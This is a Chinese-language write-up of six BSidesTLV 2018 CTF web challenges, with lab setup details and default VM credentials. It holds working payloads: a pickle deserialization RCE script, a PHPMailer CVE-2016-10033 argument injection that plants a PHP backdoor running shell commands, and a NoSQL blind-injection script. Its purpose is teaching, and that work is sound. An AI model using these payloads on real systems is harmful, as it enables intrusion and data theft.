BSidesTLV 2018 CTF WriteUp(附CTF环境)
字数 2069 2025-08-18 11:37:38

BSidesTLV 2018 CTF 题目解析与教学文档

0x01 比赛环境搭建

比赛环境下载链接:
magnet:?xt=urn:btih:849BC74CE4939E40D244F899D693F55AFB1D2FE7

环境信息:

  • 格式:Virtual Machine (Virtualbox - OVA)
  • 系统:Linux
  • CTFD用户账户:user:user
  • CTFD Admin账户:bsidestlv:bsidestlv
  • Boot2Docker SSH:docker:tcuser

0x02 题目详细解析

1. Redirect me

题目地址:http://challenges.bsidestlv.com:8081

解题步骤

  1. 访问页面发现不断重定向
  2. 观察重定向路径(如18.html)
  3. 手动修改URL尝试后续数字(37.html, 40.html等)
  4. 在40.html的响应内容中找到flag

技术要点

  • HTTP重定向跟踪
  • 手动URL枚举

2. IH8emacs

题目地址:http://challenges.bsidestlv.com:8443

解题步骤

  1. 识别题目提示与Emacs备份文件相关
  2. 尝试访问index.php~(Emacs备份文件)
  3. 在备份文件中发现被注释的管理界面地址/administration/
  4. 寻找.htaccess~和.htpasswd~文件
  5. 在.htpasswd~中找到登录凭证
  6. 使用John the Ripper破解hash
  7. 使用破解后的凭证(bsidestlv:performa)登录获取flag

技术要点

  • Emacs备份文件识别(~后缀)
  • .htpasswd文件利用
  • 密码hash破解

3. Creative Agency

题目地址:http://challenges.bsidestlv.com:3333

解题步骤

  1. 题目描述给出flag绝对路径:/home/bsidestlv/flag.txt
  2. 发现网站图片加载路径被反转(如ƃƃdɾ˙1punoɹɹƃƃʞʞɔɐɐq/ƃƃɯɯı/˙对应./img/background1.jpg)
  3. 构造反转路径读取flag.txt:
    • 原始路径:/home/bsidestlv/flag.txt
    • 反转后:ʇʇxʇʇ˙ƃƃɐɐʃɟɟ/ʌʃʇʇsǝǝpısq/ǝǝɯɯoɥɥ/˙˙
  4. 通过/img?file=参数访问反转路径获取flag

技术要点

  • 任意文件读取漏洞
  • 路径反转技巧
  • 编码转换

4. I'm Pickle Rick!

题目地址:http://challenges.bsidestlv.com:8088

解题步骤

  1. 分析页面源代码中的JavaScript逻辑
  2. 理解网站工作流程:
    • 视频播放结束后调用pickleRick()
    • pickleRick()调用anatomyParkMembers("morty")
    • 发送请求到/getMembers.html?visitor=morty
    • 返回base64编码的压缩数据
    • 调用statusAnatomyParkMembers()处理数据
  3. 发现数据使用gzip/deflate压缩
  4. 构造恶意压缩数据实现RCE:
    import zlib
    import requests
    import base64
    
    def create_command(cmd, args, flags):
        mould = """csubprocesscheck_output(((S'{0}'S'{1}'S'{2}'ltR."""
        return base64.b64encode(zlib.compress(mould.format(cmd, args, flags), 9))
    
    targeturl = 'http://challenges.bsidestlv.com:8088/statusMembers.html?data={0}&format=json'
    r = requests.get(targeturl.format(create_command('cat', '../flag.txt', '-A')))
    

技术要点

  • WebSocket协议分析
  • 数据压缩利用
  • 远程代码执行

5. ContactUs

题目地址:http://challenges.bsidestlv.com:8080

解题步骤

  1. 识别为PHPMailer漏洞(CVE-2016-10033)
  2. 构造恶意邮件发送表单:
    Name: zusheng
    Email: "zusheng\" -oQ/tmp/ -X/var/www/cache/phpcode.php is"@qq.com
    Message: <?php phpinfo(); ?>
    
  3. 根据返回提示调整后门位置:
    Name: zusheng
    Email: "zusheng\" -oQ/tmp/ -X/var/www/html/cache/d246b1e461bf.php is"@qq.com
    Message: <?php echo exec('cat $(find / -name flag.txt)'); ?>
    
  4. 访问生成的PHP后门文件获取flag

技术要点

  • PHPMailer漏洞利用
  • 邮件头注入
  • 后门文件写入

6. NoSocket

题目地址:http://challenges.bsidestlv.com:8030/login

解题步骤

  1. 分析页面JavaScript代码
  2. 发现WebSocket连接(ws://challenges.bsidestlv.com:8000/login)
  3. 识别验证逻辑存在NoSQL注入漏洞
  4. 使用盲注技术逐字符获取密码:
    import string
    from websocket import create_connection
    
    def datachar(i):
        for char in string.printable:
            password = "' || this.password[%d] == '%s" % (i, char)
            data = "{\"username\":\"admin\", \"password\": \"%s\"}" % password
            ws.send(data)
            response = ws.recv()
            if "Success!" in response:
                return char
    
    ws = create_connection("ws://challenges.bsidestlv.com:8000/login")
    response = ""
    for i in range(10, 30):
        if datachar(i) is None:
            break
        response += datachar(i)
        print response
    print 'Flag: BSidesTLV{' + response
    ws.close()
    

技术要点

  • WebSocket协议
  • NoSQL注入
  • 盲注技术

0x03 总结与学习要点

  1. 信息收集技巧

    • 备份文件(.bak, ~)
    • 配置文件(.htaccess, .htpasswd)
    • 源码注释信息
  2. 漏洞利用技术

    • 路径遍历/任意文件读取
    • 已知漏洞利用(PHPMailer)
    • NoSQL注入
    • WebSocket协议分析
  3. 编码与转换

    • Base64编码
    • Gzip/deflate压缩
    • 字符串反转技巧
  4. 自动化工具使用

    • John the Ripper密码破解
    • Python脚本编写(requests, websocket库)
  5. CTF常见技巧

    • 盲注技术
    • 远程代码执行
    • 后门文件写入

通过分析这些题目,可以全面了解Web安全中的多种攻击技术和防御方法,建议在实际环境中复现这些题目以加深理解。

BSidesTLV 2018 CTF 题目解析与教学文档 0x01 比赛环境搭建 比赛环境下载链接: magnet:?xt=urn:btih:849BC74CE4939E40D244F899D693F55AFB1D2FE7 环境信息: 格式:Virtual Machine (Virtualbox - OVA) 系统:Linux CTFD用户账户:user:user CTFD Admin账户:bsidestlv:bsidestlv Boot2Docker SSH:docker:tcuser 0x02 题目详细解析 1. Redirect me 题目地址 :http://challenges.bsidestlv.com:8081 解题步骤 : 访问页面发现不断重定向 观察重定向路径(如18.html) 手动修改URL尝试后续数字(37.html, 40.html等) 在40.html的响应内容中找到flag 技术要点 : HTTP重定向跟踪 手动URL枚举 2. IH8emacs 题目地址 :http://challenges.bsidestlv.com:8443 解题步骤 : 识别题目提示与Emacs备份文件相关 尝试访问index.php~(Emacs备份文件) 在备份文件中发现被注释的管理界面地址/administration/ 寻找.htaccess~和.htpasswd~文件 在.htpasswd~中找到登录凭证 使用John the Ripper破解hash 使用破解后的凭证(bsidestlv:performa)登录获取flag 技术要点 : Emacs备份文件识别(~后缀) .htpasswd文件利用 密码hash破解 3. Creative Agency 题目地址 :http://challenges.bsidestlv.com:3333 解题步骤 : 题目描述给出flag绝对路径:/home/bsidestlv/flag.txt 发现网站图片加载路径被反转(如ƃƃdɾ˙1punoɹɹƃƃʞʞɔɐɐq/ƃƃɯɯı/˙对应./img/background1.jpg) 构造反转路径读取flag.txt: 原始路径:/home/bsidestlv/flag.txt 反转后:ʇʇxʇʇ˙ƃƃɐɐʃɟɟ/ʌʃʇʇsǝǝpısq/ǝǝɯɯoɥɥ/˙˙ 通过/img?file=参数访问反转路径获取flag 技术要点 : 任意文件读取漏洞 路径反转技巧 编码转换 4. I'm Pickle Rick ! 题目地址 :http://challenges.bsidestlv.com:8088 解题步骤 : 分析页面源代码中的JavaScript逻辑 理解网站工作流程: 视频播放结束后调用pickleRick() pickleRick()调用anatomyParkMembers("morty") 发送请求到/getMembers.html?visitor=morty 返回base64编码的压缩数据 调用statusAnatomyParkMembers()处理数据 发现数据使用gzip/deflate压缩 构造恶意压缩数据实现RCE: 技术要点 : WebSocket协议分析 数据压缩利用 远程代码执行 5. ContactUs 题目地址 :http://challenges.bsidestlv.com:8080 解题步骤 : 识别为PHPMailer漏洞(CVE-2016-10033) 构造恶意邮件发送表单: 根据返回提示调整后门位置: 访问生成的PHP后门文件获取flag 技术要点 : PHPMailer漏洞利用 邮件头注入 后门文件写入 6. NoSocket 题目地址 :http://challenges.bsidestlv.com:8030/login 解题步骤 : 分析页面JavaScript代码 发现WebSocket连接(ws://challenges.bsidestlv.com:8000/login) 识别验证逻辑存在NoSQL注入漏洞 使用盲注技术逐字符获取密码: 技术要点 : WebSocket协议 NoSQL注入 盲注技术 0x03 总结与学习要点 信息收集技巧 : 备份文件(.bak, ~) 配置文件(.htaccess, .htpasswd) 源码注释信息 漏洞利用技术 : 路径遍历/任意文件读取 已知漏洞利用(PHPMailer) NoSQL注入 WebSocket协议分析 编码与转换 : Base64编码 Gzip/deflate压缩 字符串反转技巧 自动化工具使用 : John the Ripper密码破解 Python脚本编写(requests, websocket库) CTF常见技巧 : 盲注技术 远程代码执行 后门文件写入 通过分析这些题目,可以全面了解Web安全中的多种攻击技术和防御方法,建议在实际环境中复现这些题目以加深理解。